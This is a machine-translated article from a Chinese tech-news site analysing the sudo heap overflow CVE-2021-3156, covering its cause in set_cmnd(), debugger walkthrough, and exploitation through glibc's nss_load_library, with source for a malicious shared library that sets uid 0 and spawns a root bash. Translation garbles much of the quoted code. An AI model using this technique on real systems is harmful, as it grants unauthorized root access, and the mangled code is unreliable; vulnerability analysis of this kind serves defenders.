Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to realize the Utilization and Analysis of sudo weight raising vulnerability CVE-2021-3156

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

How to realize the utilization and analysis of sudo rights raising vulnerability CVE-2021-3156, I believe that many inexperienced people are at a loss about this. Therefore, this paper summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

0x01 vulnerability background

The sudo program has a high-risk security vulnerability numbered CVE-2021-3156, which can be exploited by non-root users to gain root privileges by executing "sudoedit-s" and command-line arguments ending with a single'\'.

The vulnerability NVD has a score of CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, with a final score of 7.8.

The scope of impact of the vulnerability is:

Sudo 1.8.2-1.8.31p2

Sudo 1.9.0-1.9.5p1

Cause of formation and utilization explanation of 0x02 vulnerability

The set_cmnd () function in the sudo sudoers.c source file mishandles'\ 'when copying parameters, resulting in a heap write out of bounds. An attacker can write any length of data to memory after a specific heap address through control parameters and environment variables, including'\ 0'.

This vulnerability can be exploited in a variety of ways, including:

1. Overwrite the function pointer of the sudo_hook_entry structure in process_hooks_getenv by heap overflow, and then get the root permission by executing the code through the execve () `function.

2. Overwrite the ni structure of the glibcnss_load_library () function by heap overflow, and then load the malicious dynamic library through _ _ libc_dlopen () and execute the code to get root permission.

Because the heap memory distribution is different when executing in different versions of the environment, the parameters such as buffer size, overflow length and environment variables that occur overflow need to be obtained by fuzzy testing or brute force cracking.

Debugging and Analysis of 0x03 vulnerabilities

Use the execve () function to execute / usr/bin/sudoedit in the system, and pass payload through the parameter variable char * sudo_argv [] and the environment variable char * sudo_envp []. (the purpose of using execve () here is to make it easier to control the env environment variables at execution time. )

Execve ("/ usr/bin/sudoedit", sudoargv, sudoenvp)

The char * sudo_argv [] and char * sudo_envp [] values are as follows.

The main () function of sudo.c first calls paese_args () to parse the running state and escape the special characters, and then calls the set_cmnd () function. The set_cmnd () function has a heap overflow vulnerability that can write arbitrarily long data to the heap.

The main () function first calls the parse_args () function in parse_args.c.

Main (int argc, char * argv [], char * envp []) {int nargc, ok, status = 0; char * * nargv, * * env_add; sudo_mode = parse_args (argc, argv, & nargc, & nargv, & settings, & env_add);.}

The function handles as follows.

1. Assign the mode and flags flag bits according to the user execution command and related parameters.

2. Judge whether special characters such as'\ 'need to be escaped according to the values of mode and flags flag bits.

3. Assign the parameter quantity variable int nargc and the parameter pointer variable char * * nargv.

4. Assign the calculation result of mode | flags to the sudo_mode variable of the main function as the return value.

When an attacker executes the sudoedit [- s shell] file command, the parse_args () function determines whether the executable file name char * progname entered by the user command line is a * * "sudoedit" string, and if so, sets the int mode variable to MODE_EDIT** (the macro is 0x02). Then use the switch () statement to determine whether the parameter contains * *'- slots, and if so, set the int flags variable to MODE_SHELL** (the macro is 0x20000).

# define DEFAULT_VALID_FLAGS (MODE_BACKGROUND | MODE_PRESERVE_ENV | MODE_RESET_HOME | MODE_LOGIN_SHELL | MODE_NONINTERACTIVE | MODE_SHELL) intparse_args (int argc, char * * argv, int * nargc, char * * nargv, struct sudo_settings * settingsp, char * * env_addp) {struct environment extra_env; int mode = 0; int flags = 0; int valid_flags = DEFAULT_VALID_FLAGS;... If (proglen > 4 & & strcmp (progname + proglen-4, "edit") = 0) {progname = "sudoedit"; mode = MODE_EDIT; sudo_ settings [ARG _ SUDOEDIT]. Value = "true";}. If ((ch = getopt_long (argc, argv, short_opts, long_opts, NULL))! =-1) {switch (ch) {case's arrangements: sudo_ settlements [ARG _ USER_SHELL]. Value = "true"; SET (flags, MODE_SHELL); break;}.}

When the mode value is MODE_EDIT (the macro is 0x02) and flags is MODE_SHELL (the macro is 0x20000). The execution result of the statement (ISSET (mode, MODE_RUN) & & ISSET (flags, MODE_SHELL) is false, which can be bypassed. Otherwise, the code escapes by adding'\ 'before the special characters including'\', which will invalidate the attack.

Finally, * nargc is assigned to argc and * nargv is assigned to argv. And the calculation result of mode | flags is returned to the sudo_mode variable of the main function.

# define DEFAULT_VALID_FLAGS (MODE_BACKGROUND | MODE_PRESERVE_ENV | MODE_RESET_HOME | MODE_LOGIN_SHELL | MODE_NONINTERACTIVE | MODE_SHELL) intparse_args (int argc, char * * argv, int * nargc, char * * nargv, struct sudo_settings * settingsp, char * * env_addp) {struct environment extra_env; int mode = 0; int flags = 0; int valid_flags = DEFAULT_VALID_FLAGS;... If (ISSET (mode, MODE_RUN) & & ISSET (flags, MODE_SHELL)) {char * * av, * cmnd = NULL; int ac = 1; if (argc! = 0) {char * src, * dst; size_t cmnd_size = (size_t) (argv [argc-1]-argv [0]) + strlen (argv [ARGC-1]) + 1 For (av = argv; * av! = NULL; av++) {for (src = * av; * src! ='\ 0mm; src++) {if (! isalnum ((unsigned char) * src) & * src! ='_'& * src! ='-'& & * src! ='$') * dst++ ='\\' * dst++ = * src;}... * nargc = argc;*nargv = argv;}

After executing the code, mode and flags print as follows.

The sudo_mode returned by the function is printed as follows.

The main () function enters the set_cmnd () function, and the call stack is as follows.

The set_cmnd () function first allocates heap space through malloc for copying parameters. At this point, the size of the allocated space is 0x74.

Then judge the sudo_mode variable. In this case, the variable sudo_ mode value is 0x20002, and the execution result of the statement ISSET (sudo_mode, MODE_SHELL | MODE_LOGIN_SHELL) is True (macro mode _ SHELL is 0x20000, macro mode _ EDIT is 0x02). After being judged by if, the program enters the overflow point.

Static intset_cmnd (void) {if (user_cmnd = = NULL) user_cmnd = NewArgv [0]; if (NewArgc > 1) {char * to, * from, * * av; size_t size, n; for (size = 0, av = NewArgv + 1; * av; av++) size + = strlen (* av) + 1 If (size = = 0 | (user_args = malloc (size)) = = NULL) {sudo_warnx (U_ ("% s:% s"), _ _ func__, U( "unable to allocate memory")); debug_return_int (- 1) } if (ISSET (sudo_mode, MODE_SHELL | MODE_LOGIN_SHELL)) {/ / enter the overflow point after judgment.}}

The set_cmnd () function executes a for loop to copy the parameter string to the heap. During execution, when * from is'\ 'and * (from+1) is not a space, the from++ statement is executed and the pointer points to the next byte copy. When the copied parameter string ends with the'\ 'symbol, it goes into the Ture branch of the if statement and executes the from++, pointer to the next byte * *'\ 0arguments *. When the * to++=*from++ statement is executed, the byte'\ 0' pointed to by the from is copied to the heap. After the copy is completed, the from pointer is added by 1, pointing to the first byte of the next string and then copied, resulting in a heap write out of bounds.

For (to = user_args, av = NewArgv + 1; (from = * av); av++) {while (* from) {if (from [0] = ='\\'&! isspace ((unsigned char) from [1])) from++; * to++ = * from++ } * to++ =';} *-- to ='\ 0mm;}

Initially, the from pointer points to 0x7fffffffee02. Where 0x7fffffffee02 to 0x7fffffffee75 is the s_argv [] parameter value set when execve () is executed.

0x7fffffffee76 to 0x7fffffffefe5 are s_envp [] environment variable values. Environment variables include'\', the string "/ SHELL_CODExx", LC_ALL=C.UTF-8@, and so on. The environment variable LC_ALL is set to affect the allocation of heap chunk.

Intmain (int argc, char * argv [], char * envp []) {setlocale (LC_ALL, ");}

Print environment variable data as follows.

When the copy is complete, the heap area from 0x555555784320 to 0x5555557844e6 is overwritten. At this time, the length of the write data is 0x1c6 bytes, and the length of the out-of-bounds write is 152bytes, some of which are as follows.

0x04 vulnerability exploitation

The area of the heap pointed to by the pointer to the ni structure in glibc can be overwritten by overflow, and the ni pointer points to the mechanism of type service_user, which is defined as follows.

The ni pointer points to an area of memory from 0x5555557843a0 to 0x5555557843df. After the write overflow, the data for this area is as follows.

The structure ni- > library variable (address 0x5555557843c0) is overridden with 0x0scripting ni-> name variable (0x5555557843d0) overwritten with * * "/ SHELL_CODExx" * *.

Next, the nss_load_library () function in the glibc library nsswitch.c file is called to load the dynamic library, and the function call stack is as follows.

After detecting that ni- > library is null, nss_new_service () is called to assign ni- > library. When the assignment is complete, ni- > library points to 0x555555792970.

Nss_load_library (service_user * ni) {... If (ni- > library = = NULL) {static name_database default_table; ni- > library = nss_new_service (service_table?: & default_table, ni- > name);}. Return 0;}

Nss_load_library () concatenates the name of the so dynamic library with the ni- > name variable. After stitching, the value of shlib_name is * * "libnss/SHELL_CODExx .so.2" * *.

When you call _ _ libc_dlopen (shlib_name) to load the dynamic library, the _ init () function of the dynamic library is executed. By maliciously constructing the _ libnss_/SHELL_CODExx .so.2 dynamic library, root privileges can be obtained by loading the dynamic library. The contents of the dynamic library are as follows.

# include # include # include static void _ attribute__ ((constructor)) _ init (void); static void _ init (void) {char * initargv [] = {"bash", NULL}; char * initenvp [] = {"PATH=/bin:/usr/bin:/sbin", NULL}; setuid (0); seteuid (0); setgid (0); setegid (0); execve ("/ bin/bash", initargv,initenvp);}

The final effect of raising rights is as follows.

After reading the above, do you know how to realize the exploitation and analysis of sudo rights raising vulnerability CVE-2021-3156? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report